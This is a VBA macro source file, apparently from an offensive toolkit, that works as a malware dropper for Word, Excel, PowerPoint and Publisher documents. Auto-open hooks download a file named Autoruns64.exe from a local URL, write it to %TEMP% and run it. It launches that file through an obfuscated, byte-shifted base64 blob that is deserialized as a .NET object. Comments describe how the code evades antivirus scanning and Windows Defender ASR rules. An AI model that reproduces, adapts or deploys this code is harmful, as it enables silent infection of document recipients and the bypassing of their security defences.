' Base64 decoder

Function obf_SaveToFile(ByVal obf_saveAs As String, ByRef obf_data() As Byte) As Boolean
    On Error GoTo obf_ProcError

    Dim obf_out
    Dim obf_shell: Set obf_shell = CreateObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_out = obf_shell.ExpandEnvironmentStrings(obf_saveAs)

    With CreateObject("Adodb.Stream")
        .Type = 1
        .Open
        .write obf_data
        .savetofile obf_out, 2
    End With
    obf_SaveToFile = True
    Exit Function

obf_ProcError:
    obf_SaveToFile = False
End Function

Private Function obf_DecodeBase64(ByVal obf_EncodedData As String) As Byte()
    On Error GoTo obf_ProcError
    Dim obf_XmlDom, obf_XmlNode, obf_Decoded, obf_Counter
    Set obf_XmlDom = CreateObject("new:2933BF90-7B36-11D2-B20E-00C04F983E60")
    Set obf_XmlNode = obf_XmlDom.createElement("obf_someInternalName")
    obf_XmlNode.DataType = "bin.base64"
    obf_XmlNode.Text = obf_EncodedData
    obf_Decoded = obf_XmlNode.NodeTypedValue

    ' This for-loop adjusts each byte by adding +35 to evade AVs capable of
    ' base64-decoding in-the-fly
    For obf_Counter = LBound(obf_Decoded) To UBound(obf_Decoded)
        obf_Decoded(obf_Counter) = (obf_Decoded(obf_Counter) + 35) Mod 256
    Next
    obf_DecodeBase64 = obf_Decoded
    Exit Function
obf_ProcError:
End Function

Function obf_DownloadFromURL(ByVal obf_URL As String) As String
    On Error GoTo obf_ProcError

    '
    ' Among different ways to download content from the Internet via VBScript:
    '   - WinHttp.WinHttpRequest.5.1
    '   - Msxml2.XMLHTTP
    '   - Microsoft.XMLHTTP
    ' only the last one was not blocked by Windows Defender Exploit Guard ASR rule:
    '   "Block Javascript or VBScript from launching downloaded executable content"
    '
    With CreateObject("Microsoft.XMLHTTP")
        .Open "GET", obf_URL, False
        .setRequestHeader "Accept", "*/*"
        .setRequestHeader "Accept-Language", "en-US,en;q=0.9"
        .setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
        .setRequestHeader "Accept-Encoding", "gzip, deflate"
        .setRequestHeader "Cache-Control", "private, no-store, max-age=0"
        .setRequestHeader "DNT", "1"
        .Send

        If .Status = 200 Then
            obf_DownloadFromURL = StrConv(.ResponseBody, vbUnicode)
            Exit Function
        End If
    End With

obf_ProcError:
    obf_DownloadFromURL = ""
End Function

Private Function obf_DecodeBaseText64(ByVal obf_EncodedData As String) As String
    Dim obf_temp() As Byte
    obf_temp = obf_DecodeBase64(obf_EncodedData)
    obf_DecodeBaseText64 = StrConv(obf_temp, vbUnicode)
End Function

Sub obf_LaunchCommand(ByVal obf_command As String)
    On Error GoTo obf_ProcError
    Dim obf_i, obf_entryClass
    Dim obf_stm As Object, obf_fmt As Object, obf_al As Object
    Dim obf_n As Object, obf_d As Object, obf_o As Object, obf_myobj As Object
    Dim obf_encoded As String
    Dim obf_bytes() As Byte
    Dim obf_code As String, obf_manifest As String
    
    obf_code = ""
        obf_encoded = ""
    obf_encoded = obf_encoded & "3d7d3d3c3Nzc3t3d3d3d3d3h3t3d3f8wVlBRQkoLIUJJQkQ+UUIwQk9GPklGVz5RRkxLJUxJQUJP4N3d3eUhQklCRD5RQuRRPk9EQlEN5EpCUUVMQQ3g4OANMFZQUUJKCyFCSUJEPlFCMEJPR"
    obf_encoded = obf_encoded & "j5JRlc+UUZMSyVMSUFCTwghQklCRD5RQiJLUU9W/zBWUFFCSgshQklCRD5RQjBCT0Y+SUZXPlFGTEslTElBQk8MMFZQUUJKCy9CQ0lCQFFGTEsLKkJKP0JPJktDTDBCT0Y+SUZXPlFGTE"
    obf_encoded = obf_encoded & "slTElBQk/m393d3ebg3d3d5uHd3d3h393d3Q0wVlBRQkoLIUJJQkQ+UUIwQk9GPklGVz5RRkxLJUxJQUJPCCFCSUJEPlFCIkt"
    obf_encoded = obf_encoded & "RT1bk3d3d4VFWTULlPlBQQko/SVbjUT5PREJR71E+T0RCUTFWTUIeUFBCSj9JVutRPk9EQlExVk1CKz5KQudKQlFFTEErPkp"
    obf_encoded = obf_encoded & "C6kFCSUJEPlFCIktRT1be3t/e3t7gDTBWUFFCSgshQklCRD5RQjBCT0Y+SUZXPlFGTEslTElBQk8IIUJJQkQ+UUIiS1FPVuPi3d3dDDBWUFFCSgsvUktRRkpCCy9CSkxRRk"
    obf_encoded = obf_encoded & "tECypCUFA+REZLRAslQj5BQk8lPktBSUJP4+Pd3d0oSlBATE9JRj8J/TNCT1BGTEsaDwsNCw0LDQn9IFJJUVJPQhpLQlJRTz5JCf0"
    obf_encoded = obf_encoded & "tUj9JRkAoQlYxTEhCSxo/FBQ+EkASEw4WEBFCDRUW4+Td3d3kUT5PREJRDebj3d3d4+bd3d3sMFZQUUJKCyFCSUJEPlFC4+fd3d3qIVZLPkpGQCZL"
    obf_encoded = obf_encoded & "U0xIQufh4N3d3f8wVlBRQkoLIUJJQkQ+UUIwQk9GPklGVz5RRkxLJUxJQUJP4N3d3eUhQklCRD5RQuRRPk9EQlEN5EpCUUVMQQ3g5OANMFZQUUJKCyFCSUJEPlFCMEJPRj5JRlc+UUZMSyV"
    obf_encoded = obf_encoded & "MSUFCTwghQklCRD5RQiJLUU9W3wwwVlBRQkoLL0JDSUJAUUZMSwsqQko/Qk8mS0NMMEJPRj5JRlc+UUZMSyVMSUFCT+b"
    obf_encoded = obf_encoded & "o3d3d5und3d3m6t3d3eHh3d3dDDBWUFFCSgsvQkNJQkBRRkxLCypCSj9CTyZLQ0wwQk9GPklGVz5RRkxLJUxJQUJP493d3eErPkpC6R5QUEJKP0lWKz5KQuYgST5QUCs+SkLmMEZESz5RUk9C5yp"
    obf_encoded = obf_encoded & "CSj9CTzFWTULtJEJLQk9GQB5PRFJKQktRUN7e3t7d4OXqMFZQUUJKCzFWTUI4Oubn3d3d5uPd3d3m5t3d3ePu3d3dCTBW"
    obf_encoded = obf_encoded & "UFFCSgssP0dCQFH9IVZLPkpGQCZLU0xIQgUwVlBRQkoLLD9HQkBRODoG5d3d3efe6N3d3d/d3d3j793d3f0wVlBRQkoLNUpJCzBARUJKPgs"
    obf_encoded = obf_encoded & "1SkkzPklSQiRCUVFCT+Pw3d3dKjBWUFFCSgs1SkkJ/TNCT1BGTEsaDwsNCw0LDQn9IFJJUVJPQhpLQlJRTz5JCf0tUj9JRkAoQlYxTEhCSxo/FBQ+EkASEw4WEBFCDRUW4/Hd"
    obf_encoded = obf_encoded & "3d3kUT5PREJRDebj3d3d4/Pd3d33MFZQUUJKCy9CQ0lCQFFGTEsLHlBQQko/SVbj9N3d3eEpTD5B5+zp3d3d3e3d3d8qN23d4N3d3eHd3d3c3N3dld3d3"
    obf_encoded = obf_encoded & "d3d3d0d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d1d3d3d6/yX692R5qr+ld4pqv4xRUZQ/U1PTERPPkr9QD5LS0xR/T9C/U9SS/1GS/0hLDD9SkxBQgvq6ucB3d3d3d3d3S0i"
    obf_encoded = obf_encoded & "3d0p3uDdgvyfP93d3d3d3d3dvd3f/uje5d3d5d3d3ePd3d3d3d2LA93d3f3d3d0d3d3d3R3d3f3d3d3f3d3h3d3d3d3d3eHd3d3d3d3d3V3d3d3f3d3d3d3d4N0dYt3d7d3d7d3d3d"
    obf_encoded = obf_encoded & "3t3d3t3d3d3d3d7d3d3d3d3d3d3d3dMQPd3TTd3d3dHd3djd/d3d3d3d3d3d3d3d3d3d3d3d3dPd3d6d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d393d3l3d3d3d3d3d3d3d3l/d3dJd3d3d3d3d3d3d3dC1FCVVHd3d2R493d3f3d3d3l3d3d393d3d3d3d3d3d3d3d3d/d3dPQtPUE9"
    obf_encoded = obf_encoded & "A3d3djd/d3d0d3d3d4d3d3efd3d3d3d3d3d3d3d3d3R3d3R0LT0JJTEDd3end3d3dPd3d3d/d3d3r3d3d3d3d3d3d3d3d3d0d3d0f3d3d3d3d3d3d3d3d3d3d3W0D3d3d"
    obf_encoded = obf_encoded & "3d3dJd3d3d/d4t2l/t3daeHd3d7d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3dE98F4d3d5wXg3d3"
    obf_encoded = obf_encoded & "jAwf/4AXh3d3jAwfn9Afd3fAN4d0r3t3d3t3d7t8F4t3d5wnf8wff51Dj3d3n6OTjBeTd3edM5d3d5+TjBebd3edM593d50/e3d1N6ePzTOjd3ef8/x1n3d3d40/g3d1N9Ezp"
    obf_encoded = obf_encoded & "3d3n6ubyCzDk4/TmTOrd3ecF5N3d50zl3d3n5OP05kzq3d3nBebd3edM593d5+b1NeNM693d5xmY3d3d4+b1NUzo3d3n/P0diN3d3ePm9TVM7N3d5+kVed3d3eTj9Ezs3"
    obf_encoded = obf_encoded & "d3nBeTd3edM5d3d5+Tj9Ezs3d3nBebd3edM593d5whT40/k3d1NTO3d3efyEPTjT+jd3U1M7d3d5/IQ5uMF7t3d5wP"
    obf_encoded = obf_encoded & "0B+NP5N3dTUzt3d3n8OHu4fILHOTj8+7hTOrd3ecF5N3d50zl3d3n5OPz7uFM6t3d5wXm3d3nTOfd3efu4fQ140zr3d3nDOjj7uH0NUzs3d3n6eTlTO/d3efkBfDd3ecD9Afd3R8wJx/e3d7d3d3"
    obf_encoded = obf_encoded & "d3end3d1TDwsNCxINFA8U3d3d3eLdSd3d3X3e3d0AW93d6d/d3a3e3d0AMFFPRktEUN3d3d254N3d7d3d3QAyMN3J4N3d7d3d3"
    obf_encoded = obf_encoded & "QAkMiYh3d3d2eDd3W3d3d0AH0lMP93d3d3d3d3f3d3eJPLf3ebd3d3d194Q3fPd3d7d3d3l3d3d393d3eHd3d3f3d3d8N3d3eDd3d3e3d3"
    obf_encoded = obf_encoded & "d3t3d3d/d3d3d3efd3t3d3d3d490Z3RLd491c3Tzd49183Tzd493F3abd493h3hLd590J3vbe490k3hre592P3vbe3d3d3d7d3d3d3d7d3t3e3e3d990"
    obf_encoded = obf_encoded & "C3eLd3t3e3S393d3d3WP1IN3n3d7dO/3d3d3dY90m3evd3t1E/d3d3d1z3TTd8N3f3Un93d3d3XPdNN303d/d3d3e3dnd3d3e3dnd7t0g3fn"
    obf_encoded = obf_encoded & "d9t0g3efd/t0g3f7d5t0g3efdBt3o3vTdDt0g3efdFt0p3gndDt013uvdFt1C3gndDt1T3uvdBt1o3g7dBt1y3hPdBt163hndBt2E3h/dBt163iPdBt1y3ijdHt2X3i3dDt2d3uvdHt2X3jPdC93"
    obf_encoded = obf_encoded & "o3UPdC93w3UzdIN343QPdOt3hXd3d3d3d3d3d3d3d3d3d3d2a3d3d393d3d3d3d3d3d3d3t0J3d3d3d3f3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3e3RLd3d3d3d3d3RkqTEFSSUIb3VFKTUVORhJXPBFMC0FJSd03IyAlKSQoT0413SogJFMqTt1KUEBMT0lGP90wVlBRQkrdLD9HQkBR3QtAUUxP"
    obf_encoded = obf_encoded & "3SQxIU1AMFcxNyJWKCLdIlVCQFJRQt0wVlBRQkoLL1JLUUZKQgsgTEpNRklCTzBCT1NGQEJQ3SBMSk1GST5RRkxLL0JJPlU+UUZMS"
    obf_encoded = obf_encoded & "1AeUVFPRj9SUULdL1JLUUZKQiBMSk0+UUY/RklGUVYeUVFPRj9SUULdUUpNRU5GElc8EUzdMFZQUUJKCy9SS1FGSkILJktRQk9MTTBCT1NGQEJQ3SBMSjN"
    obf_encoded = obf_encoded & "GUEY/SUIeUVFPRj9SUULdQExKSj5LQd0wUU9GS0TdJlArUklJLE8iSk1RVt0wVlBRQkoLIUY+REtMUFFGQFDdLU9MQEJQUDBRPk9RJktDTN0wVlBRQkoLJizdLT5RRd0kQlEjRklCKz5K"
    obf_encoded = obf_encoded & "Qt1QQlE8I0ZJQis+SkLdJEJRIUZPQkBRTE9WKz5KQt1QQlE8NExPSEZLRCFGT0JAUUxPVt1EQlE8IEU+T1DdJktBQlUsQ90wU"
    obf_encoded = obf_encoded & "j9QUU9GS0TdREJRPClCS0RRRd0tT0xAQlBQ3TBRPk9R3VBCUTweT0RSSkJLUVDd3d3d3t3g/93d4P3d3eA53d3dy+8ZY6"
    obf_encoded = obf_encoded & "3yuSJlgxBdXsjx093llFc5M/YRvWbg/d3e4f3e3uvg3d3f4d3e3+vh/d7e5eH93t7f4t7d3t3d4d3e6+vh/d7g5eL93+Xr5eL93+vl5eD93eXh/d7r5eH93uX"
    obf_encoded = obf_encoded & "r4t3e7/7r493e7/7v9uXk4uvv9uvl5eXe3eXd3d3d3fve3d7dMd/zNE8+TStMSyJVQEJNUUZMSzFFT0xUUN7d3VkD3d3d3d3d3d3"
    obf_encoded = obf_encoded & "d3XsD3d3d/d3d3d3d3d3d3d3d3d3d3d3d3d3d3d1tA93d3d3d3d3d3d3d3d3d3d3d3d3dPCBMTyFJSSo+RkvdSlBATE9CQgtBSUnd3d3d3dwC3f0d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3"
    obf_encoded = obf_encoded & "d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3"
    obf_encoded = obf_encoded & "d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3"
    obf_encoded = obf_encoded & "d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3e3e3d3d313d1d3d3d3d3d3d3d3d3d3d3e3d7d3d0N3d1d3d3d3d3d3d3d3d3d3d3e3d3d3d"
    obf_encoded = obf_encoded & "0l3d3dNR3d3THf3d3d3d3d3d3d3THfEd3d3TPdMN083TPdIt0v3TDdJt0s3SvdPN0m3SvdI90s3d3d3d2a4czb3d3e3d3d3d3d3d3d3d3d3d3d3d0c3d3d3d3d3eHd3d3f3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3dId3d3d7dM90+3U/dI91G3UndQt0m3UvdQ91M3d3d3d0B3eHd3d0x3U/dPt1L3VDdSd0+3VHdRt1M3Uvd3d3d3d3djeGR3t3d3t0w3V"
    obf_encoded = obf_encoded & "HdT91G3UvdRN0j3UbdSd1C3SbdS91D3Uzd3d1t3t3d3t0N3Q3dDd0N3Q3dEd0/3Q3d3d0J3d/d3t0j3UbdSd1C3SHdQt1"
    obf_encoded = obf_encoded & "Q3UDdT91G3U3dUd1G3UzdS93d3d3d/d3d3Q3d5d3e3SPdRt1J3ULdM91C3U/dUN1G3UzdS93d3d3dDd0L3Q3dC90N3QvdDd3d3R3d7d3e3SbdS91R3ULdT91L3T7dSd0r3"
    obf_encoded = obf_encoded & "T7dSt1C3d3dUd1K3U3dRd1O3UbdEt1X3TzdEd1M3QvdQd1J3Und3d0F3d/d3t0p3ULdRN0+3UndIN1M3U3dVt1P3UbdRN1F3VH"
    obf_encoded = obf_encoded & "d3d393d3dJd3t3d7dLN1P3UbdRN1G3UvdPt1J3SPdRt1J3ULdS90+3UrdQt3d3VHdSt1N3UXdTt1G3RLdV9083RHdTN0L3UHdSd1J3d3dEd3l3d7dLd1P3UzdQd1S"
    obf_encoded = obf_encoded & "3UDdUd0z3ULdT91Q3UbdTN1L3d3dDd0L3Q3dC90N3QvdDd3d3RXd5d3e3R7dUN1Q3ULdSt0/3UndVt393TPdQt1P3VDdRt1M3Uvd3d0N3QvdDd0L3Q3dC90N3d3d3d3d3d3d3d3d3d3"
    obf_encoded = obf_encoded & "d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3"
    obf_encoded = obf_encoded & "d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d393d3p3d3djRPd3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3"
    obf_encoded = obf_encoded & "d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3"
    obf_encoded = obf_encoded & "d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3urd3d3h3d"
    obf_encoded = obf_encoded & "3d5vTd3d3m493d3ebz3d3d4/fd3d0EMFZQUUJKCy9CQ0lCQFFGTEsLHlBQQko/SVb9KUw+QQUfVlFCODoG5d3d3efo"
    obf_code = obf_DecodeBaseText64(obf_encoded)
    
    obf_bytes = StrConv(obf_code, vbFromUnicode)

    obf_entryClass = "MCGvMq.ZFCHLGKrqX"

    Set obf_fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
    Set obf_al = CreateObject("System.Collections.ArrayList")
    Set obf_stm = CreateObject("System.IO.MemoryStream")

    For Each obf_i In obf_bytes
        obf_stm.WriteByte obf_i
    Next obf_i

    obf_stm.Position = 0

    'Set obf_n = obf_fmt.SurrogateSelector
    Set obf_d = obf_fmt.Deserialize_2(obf_stm)
    obf_al.Add obf_n

    Set obf_o = obf_d.DynamicInvoke(obf_al.ToArray())
    Set obf_myobj = obf_o.CreateInstance(obf_entryClass)

    obf_myobj.GTDpcSzTZEyKE CreateObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").ExpandEnvironmentStrings(obf_command)

obf_ProcError:
End Sub

Public Function obf_ShellcodeGet() As String
    On Error GoTo obf_ProcError
    Dim obf_varA As String

    obf_varA = obf_DownloadFromURL("http://localhost:8080/Autoruns64.exe")
    obf_ShellcodeGet = obf_DecodeBaseText64(obf_varA)
    Exit Function

obf_ProcError:
	obf_ShellcodeGet = ""
End Function

Function obf_ShellcodeEntry() As String

    obf_ShellcodeEntry = obf_ShellcodeGet
End Function

Sub obf_DropFile(ByVal obf_saveto As String)
    On Error GoTo obf_ProcError
    Dim obf_code
    Dim obf_bytes() As Byte
    Dim obf_LaunchIt As Boolean
    obf_LaunchIt = True
    
    obf_code = ""
    obf_code = obf_ShellcodeEntry

    obf_bytes = StrConv(obf_code, vbFromUnicode)
    
    If obf_SaveToFile(obf_saveto, obf_bytes) And obf_LaunchIt Then
        obf_LaunchCommand "%TEMP%\Autoruns64.exe"
    End If

obf_ProcError:
End Sub

Sub obf_GeneratorEntryPoint()
    On Error GoTo obf_ProcError

    Dim obf_location, obf_path
    Dim obf_LaunchIt As Boolean
    obf_LaunchIt = True
    
    Dim obf_shell As Object: Set obf_shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_path = obf_shell.ExpandEnvironmentStrings("%TEMP%\")
    obf_location = obf_path & "Autoruns64.exe"

    Dim obf_FSO As Object: Set obf_FSO = CreateObject("new:0D43FE01-F093-11CF-8940-00A0C9054228")
    If obf_FSO.FolderExists(obf_path) Then
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropFile obf_location
        ElseIf obf_LaunchIt Then
            obf_LaunchCommand "%TEMP%\Autoruns64.exe"
        End If
    Else
        obf_FSO.CreateFolder (obf_path)
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropFile obf_location
        ElseIf obf_LaunchIt Then
            obf_LaunchCommand "%TEMP%\Autoruns64.exe"
        End If
    End If

obf_ProcError:
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub Document_Open()
    ' Becomes launched as second, another try, on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    obf_MacroEntryPoint
End Sub

Sub AutoOpen()
    ' Becomes launched as first on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub OnPowerPoint()
    obf_MacroEntryPoint
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    obf_MacroEntryPoint
End Sub